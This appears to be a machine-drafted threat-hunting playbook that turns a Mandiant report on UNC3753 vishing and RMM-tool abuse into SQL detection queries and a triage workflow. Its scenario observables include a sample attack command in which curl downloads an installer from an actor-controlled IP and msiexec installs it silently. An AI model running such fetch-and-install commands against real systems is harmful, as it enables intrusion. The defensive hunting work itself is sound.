Interactive Remote Access and Support Tool Abuse
An intruder uses vishing to direct users to a self-destructing note service and installs unauthorized RMM tools to pivot into corporate VDI infrastructure.
Based on research by Mandiant 2026-09-20 11 steps · 3 queries T1021.001 T1059.001 T1133 T1219 T1566
Brief
Why This Hunt Matters
UNC3753, also known as Luna Moth, bypasses traditional perimeter defenses using "Bazarcall" style vishing. Mandiant detail this campaign in their report, UNC3753 targeted campaign against US law firms. These actors do not rely on zero-day exploits or complex malware. Instead, they talk a user into downloading legitimate remote management tools (RMM) like AnyDesk or SuperOps to gain a foothold. This approach is effective because these tools are signed, functional, and often permitted by security policies.
How the Hunt Flows
The hunt begins with a scoping phase using the hb_software_inventory surface. This query builds a fleet-wide inventory of hosts running RMM software or VDI clients. The list includes AnyDesk, Bomgar, Zoho Assist, and SuperOps. Because IT teams use many of these tools legitimately, the hunt does not alert on their mere presence. Instead, an agent or analyst evaluates this inventory to find hosts where these packages are unusual or match the specific toolkit observed in UNC3753 campaigns.
Once the hunt identifies candidate hosts, it moves into behavioral analysis across two telemetry surfaces. It queries hb_dns_activity for resolutions of privnote.com, which the actor uses to transmit instructions that disappear after reading. This provides a marker of the initial social engineering delivery. Simultaneously, the hunt scans hb_process_activity for rare command lines. It specifically stacks instances where curl or similar utilities download and initiate msiexec to install software. This pattern is a high-fidelity indicator when it appears on endpoints that do not typically run ad-hoc installers.
The final phase triages the collected evidence. An analyst looks for a clear temporal sequence: a user resolves a self-destructing note service, then a rare MSI installation occurs, followed by the appearance of RMM or VDI session activity. This correlation is what turns a series of weak signals into a high-confidence intrusion verdict. If the evidence confirms a malicious intrusion, the playbook provides an action to isolate the host and revoke active VDI sessions.
Known Blind Spots
This hunt has specific blind spots. It relies on endpoint telemetry, which is often missing on personal BYOD devices. If a user initiates the session on a personal laptop to access a corporate VDI, the initial download and RMM install happen outside our view. The hunt also cannot capture the vishing audio itself; we only observe the technical artifacts left behind after the user follows the intruder's verbal instructions.
Steps
-
Remote access and VDI client inventory
Query · scopingIdentify hosts that have remote management or VDI software installed to focus the investigation.
reads hb_software_inventorysqlSELECT device_hostname, package_name, package_version, vendor_name FROM hb_software_inventory WHERE instr(',' || '{{rmm_software}}' || ',', ',' || LOWER(package_name) || ',') > 0What a hit looks like. A list of hosts with RMM or VDI software. Silence is not evidence of absence if inventory is incomplete.
-
Evaluate lead hosts
Agent triageDetermine if the hosts identified in inventory warrant a behavioral investigation.
-
Gate on software presence
DecisionRoute the hunt to expensive behavioral queries only if relevant software leads were found.
-
Privnote DNS activity
Query · enrichmentFind hosts that visited the delivery platform used to transmit instructions.
reads hb_dns_activitysqlSELECT device_hostname, query_hostname, time FROM hb_dns_activity WHERE LOWER(query_hostname) = 'privnote.com' AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days')What a hit looks like. A host resolving Privnote. Absence suggests a different delivery mechanism was used.
-
Rare curl-initiated MSI installers
Query · baselineStack-count command lines that download and install software via curl to find anomalies.
reads hb_process_activitysqlSELECT device_hostname, process_cmd_line, COUNT(DISTINCT device_hostname) AS host_count, MIN(time) AS first_seen FROM hb_process_activity WHERE (LOWER(process_cmd_line) LIKE '%curl%' AND LOWER(process_cmd_line) LIKE '%msiexec%') AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY device_hostname, process_cmd_line HAVING host_count < 5What a hit looks like. A command line seen on very few hosts. Silence proves the absence of this specific installer pattern.
-
Triage investigation evidence
Agent triageSynthesize inventory, DNS, and rare process patterns to confirm a successful intrusion.
-
Route on final verdict
DecisionIsolate hosts with confirmed intrusions or route to manual review.
-
Isolate host
Response actionContain the breach once confirmed.
-
Analyst review
Analyst taskVerify ambiguous findings and confirm the extent of the session activity.
-
Close out
Analyst taskDocument the hunt outcome and remaining gaps.
Coverage
Scenario coverage
| Stage | Covered | How, or why not |
|---|---|---|
| Vishing and Screen-Sharing Initiation T1566 · T1133 |
Yes | dns-privnote-lookups |
| RMM Agent Installation T1219 · T1059.001 |
Yes | rare-curl-installers |
| Pivot to Corporate VDI T1021.001 |
Yes | software-inventory-lead |
| Document Staging T1083 · T1074.001 |
Out of scope | Belongs to another part of the 'UNC3753 targeted campaign against US law firms' series. |
| Cloud and FTP Exfiltration T1567.002 · T1041 |
Out of scope | Belongs to another part of the 'UNC3753 targeted campaign against US law firms' series. |
Blind spots
- Needs endpoint agent on personal devices. UNC3753 targets personal BYOD endpoints to access corporate VDI; these devices lack telemetry for process or software inventory scans. It would answer Did the user initiate the session from a personal device?.
- Needs voice recording and transcription. The actual vishing event happens out-of-band; we only observe the technical aftermath of the social engineering success. It would answer What verbal instructions were given to the target?.
Parameters & data
Parameters
| Parameter | Type | Default | What it is |
|---|---|---|---|
lookback_days | number | 14 | Days of history to examine. |
rmm_software | list[string] | anydesk, bomgar, zoho assist, citrix, windows365, quick assist, citrix workspace, windows 365, superops | Software package names for RMM and VDI tools used by UNC3753. |
scope_hosts | list[host] | — | Hostnames identified in the scoping step; leave empty to scan the entire estate. |
Telemetry
| Source | Category | Telemetry |
|---|---|---|
| Endpoint telemetry (hb_ surfaces) | endpoint | endpoint |
Source
---
analysis: A static detection rule for AnyDesk creates high noise in environments where
IT uses it. This hunt uses a gated flow to identify relevant tool presence before
pivoting to find the rare installer and delivery behavior an analyst must weigh.
blind_spots:
- id: byod-telemetry-gap
question: Did the user initiate the session from a personal device?
requires: endpoint agent on personal devices
risk: UNC3753 targets personal BYOD endpoints to access corporate VDI; these devices
lack telemetry for process or software inventory scans.
stage: initial-access-vishing-screen-share
- id: vishing-audio-content
question: What verbal instructions were given to the target?
requires: voice recording and transcription
risk: The actual vishing event happens out-of-band; we only observe the technical
aftermath of the social engineering success.
stage: initial-access-vishing-screen-share
coverage:
- stage: initial-access-vishing-screen-share
status: covered
steps:
- dns-privnote-lookups
- stage: rmm-tool-deployment
status: covered
steps:
- rare-curl-installers
- stage: vdi-infrastructure-pivot
status: covered
steps:
- software-inventory-lead
- reason: Belongs to another part of the 'UNC3753 targeted campaign against US law
firms' series.
stage: document-harvesting-and-staging
status: out_of_scope
- reason: Belongs to another part of the 'UNC3753 targeted campaign against US law
firms' series.
stage: data-theft-and-exfiltration
status: out_of_scope
guardrails:
claims: no_unsupported
evidence: citation_required
missing_data: not_benign
telemetry: untrusted
hunt:
applicability: campaign-specific
handoff: keep-as-periodic-hunt
justification: "UNC3753 conducts fast-tempo intrusions that often complete within\
\ 24 hours. This hunt identifies the precursors of data theft\u2014unauthorized\
\ RMM deployment and vishing delivery\u2014before exfiltration begins."
methodology: model-assisted
trigger: intel-report
hypothesis: An intruder uses vishing to direct users to a self-destructing note service
and installs unauthorized RMM tools to pivot into corporate VDI infrastructure.
labels:
- hunt
- attack.t1566
- attack.t1133
- attack.t1219
- attack.t1059.001
- attack.t1021.001
name: Interactive Remote Access and Support Tool Abuse
parameters:
lookback_days:
default: '14'
description: Days of history to examine.
type: number
rmm_software:
default:
- anydesk
- bomgar
- zoho assist
- citrix
- windows365
- quick assist
- citrix workspace
- windows 365
- superops
description: Software package names for RMM and VDI tools used by UNC3753.
from:
kind: article
observed: '2026-05-01'
ref: UNC3753 Targeted Campaign
type: list[string]
scope_hosts:
default: []
description: Hostnames identified in the scoping step; leave empty to scan the
entire estate.
type: list[host]
provenance:
authors:
- name: Huntbase hunt generation
org: huntbase.io
generated:
by: huntbase-hunt-generation
from: https://cloud.google.com/blog/topics/threat-intelligence/targeted-campaign-us-law-firms
gates:
- dry-run
- lint
- critic
model: hb_google/gemini-3-flash-preview
rationale: Start by identifying hosts with the RMM or VDI tools mentioned in the report.
Narrow the investigation to these hosts for the behavioral queries to reduce noise
and processing cost.
references:
- name: Mandiant - UNC3753 Targeted Campaign Against US Law Firms
url: https://cloud.google.com/blog/topics/threat-intelligence/targeted-campaign-us-law-firms
related:
- hunt: document-harvesting-and-staging
reason: Once RMM tools are confirmed, the next hunt focuses on the sensitive keyword
searches and staging activity the actor performs.
relation: follows
scenario:
stages:
- name: Vishing and Screen-Sharing Initiation
observables:
- Zoom
- Microsoft Teams
- Quick Assist
- privnote.com
- invoice-themed emails from consumer accounts
slug: initial-access-vishing-screen-share
tactic: initial-access
techniques:
- T1566
- T1133
- name: RMM Agent Installation
observables:
- SuperOps.msi
- AnyDesk
- Bomgar
- Zoho Assist
- curl -sL http://[actor-controlled-ip]/installer -o SuperOps.msi
- msiexec /i SuperOps.msi /quiet
slug: rmm-tool-deployment
tactic: execution
techniques:
- T1219
- T1059.001
- name: Pivot to Corporate VDI
observables:
- Windows365.exe
- Citrix clients
- VDI authentication from BYOD endpoints
slug: vdi-infrastructure-pivot
tactic: lateral-movement
techniques:
- T1021.001
- name: Document Staging
observables:
- Downloads folder
- Roaming profile path
- iManage keyword searches (W-2, W-9, 1099, SSN)
- OneDrive enumeration
slug: document-harvesting-and-staging
tactic: collection
techniques:
- T1083
- T1074.001
- name: Cloud and FTP Exfiltration
observables:
- WinSCP
- Rclone
- Google Drive browser uploads
- Email forwarding to actor-controlled addresses
- folder renaming to mimic victim branding
slug: data-theft-and-exfiltration
tactic: exfiltration
techniques:
- T1567.002
- T1041
summary: UNC3753 uses vishing to impersonate IT support and trick employees into
launching screen-sharing sessions or installing RMM tools like AnyDesk and SuperOps.
The actors pivot from BYOD devices to corporate VDI environments to harvest sensitive
documents, which they stage in local folders before exfiltrating them via WinSCP,
Rclone, or browser uploads for extortion.
series:
index: 1
slug: unc3753-targeted-campaign-against-us-law-firms
title: UNC3753 targeted campaign against US law firms
total: 2
severity: high
targets:
analyst:
name: Tier-2 analyst
role: analyst
endpoint:
category: endpoint
name: Endpoint telemetry (hb_ surfaces)
telemetry:
- endpoint
hunter:
agent: true
name: Hunt agent
tlp: clear
type: investigation
---
# Interactive Remote Access and Support Tool Abuse
UNC3753 (Luna Moth) use 'Bazarcall' style vishing to bypass perimeter security, directing users to download unauthorized remote management tools like AnyDesk or SuperOps. This hunt identifies the sequence of a Privnote visit followed by the deployment of these tools and subsequent pivots into VDI environments like Citrix or Windows 365. It uses a gated flow to first scope the estate for relevant software before performing a deeper behavioral analysis of installer and session markers.
## software-inventory-lead
<!-- Remote access and VDI client inventory -->
Identify hosts that have remote management or VDI software installed to focus the investigation.
```sqlite target=endpoint role=scoping params=(rmm_software=rmm_software)
~~~yaml
expected: A list of hosts with RMM or VDI software. Silence is not evidence of absence
if inventory is incomplete.
reads:
- device_hostname
- package_name
- package_version
- vendor_name
silence: not_evidence_of_absence
source: hb_software_inventory
verified: dry-run
verified_at: '2026-09-20'
~~~
SELECT device_hostname, package_name, package_version, vendor_name FROM hb_software_inventory WHERE instr(',' || '{{rmm_software}}' || ',', ',' || LOWER(package_name) || ',') > 0
```
## evaluate-lead
<!-- Evaluate lead hosts -->
```agent target=hunter
cite: required
context:
- software-inventory-lead
max_iterations: 3
objective: Identify hosts where the presence of RMM or VDI tools is unusual or matches
the actor toolkit.
success_criteria: A recommendation of which hosts to scope into behavioral analysis.
tools:
- endpoint
```
## gate-on-inventory
<!-- Gate on software presence -->
if~: "the inventory evaluation identifies at least one host with unauthorized RMM or VDI software" (confidence: high, judge=hunter)
then: → behavior-fan-out
indeterminate: → analyst-review
unavailable: → analyst-review (blind_spot: byod-telemetry-gap)
else: → close-out
## behavior-fan-out
<!-- Investigate session and installer behavior -->
parallel:
- → dns-privnote-lookups
- → rare-curl-installers
join: → final-triage
## dns-privnote-lookups
<!-- Privnote DNS activity -->
Find hosts that visited the delivery platform used to transmit instructions.
```sqlite target=endpoint role=enrichment params=(scope_hosts=scope_hosts, lookback_days=lookback_days)
~~~yaml
expected: A host resolving Privnote. Absence suggests a different delivery mechanism
was used.
reads:
- device_hostname
- query_hostname
- time
silence: not_evidence_of_absence
source: hb_dns_activity
verified: dry-run
verified_at: '2026-09-20'
~~~
SELECT device_hostname, query_hostname, time FROM hb_dns_activity WHERE LOWER(query_hostname) = 'privnote.com' AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days')
```
## rare-curl-installers
<!-- Rare curl-initiated MSI installers -->
Stack-count command lines that download and install software via curl to find anomalies.
```sqlite target=endpoint role=baseline params=(scope_hosts=scope_hosts, lookback_days=lookback_days)
~~~yaml
baseline:
compare: first_seen
window: '{{lookback_days}}d'
expected: A command line seen on very few hosts. Silence proves the absence of this
specific installer pattern.
prevalence:
by: device_hostname
key:
- process_cmd_line
rare_below: 5
reads:
- device_hostname
- process_cmd_line
- time
silence: evidence_of_absence
source: hb_process_activity
verified: dry-run
verified_at: '2026-09-20'
~~~
SELECT device_hostname, process_cmd_line, COUNT(DISTINCT device_hostname) AS host_count, MIN(time) AS first_seen FROM hb_process_activity WHERE (LOWER(process_cmd_line) LIKE '%curl%' AND LOWER(process_cmd_line) LIKE '%msiexec%') AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY device_hostname, process_cmd_line HAVING host_count < 5
```
## final-triage
<!-- Triage investigation evidence -->
```agent target=hunter
cite: required
context:
- evaluate-lead
- dns-privnote-lookups
- rare-curl-installers
max_iterations: 6
objective: Determine if any host shows a temporal sequence of visiting Privnote followed
by a rare curl-initiated installation and presence of RMM tools.
success_criteria: A verdict of malicious, suspicious, or benign per host, citing relevant
rows.
tools:
- endpoint
```
## route-on-verdict
<!-- Route on final verdict -->
if~: "the final triage verdict is malicious for at least one host" (confidence: high, judge=hunter)
then: → isolate-host
indeterminate: → analyst-review
unavailable: → analyst-review (blind_spot: byod-telemetry-gap)
else: → close-out
## isolate-host
<!-- Isolate host -->
```action target=endpoint
~~~yaml
approval: required
~~~
Isolate the host and revoke any active VDI or VPN sessions for the identified user.
```
→ analyst-review
## analyst-review
<!-- Analyst review -->
```manual target=analyst
Review the cited DNS and process rows. Confirm if the curl-initiated MSI belongs to an authorized technician. Check for manual data staging in the user Downloads or Roaming folders.
```
→ close-out
## close-out
<!-- Close out -->
```manual target=analyst
Document whether any suspicious activity was confirmed. If the tools found were legitimate, record a tuning note for those hosts.
```
→ end
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Machine-drafted by huntbase-hunt-generation using hb_google/gemini-3-flash-preview, gated by dry-run, lint, critic, then reviewed by a person.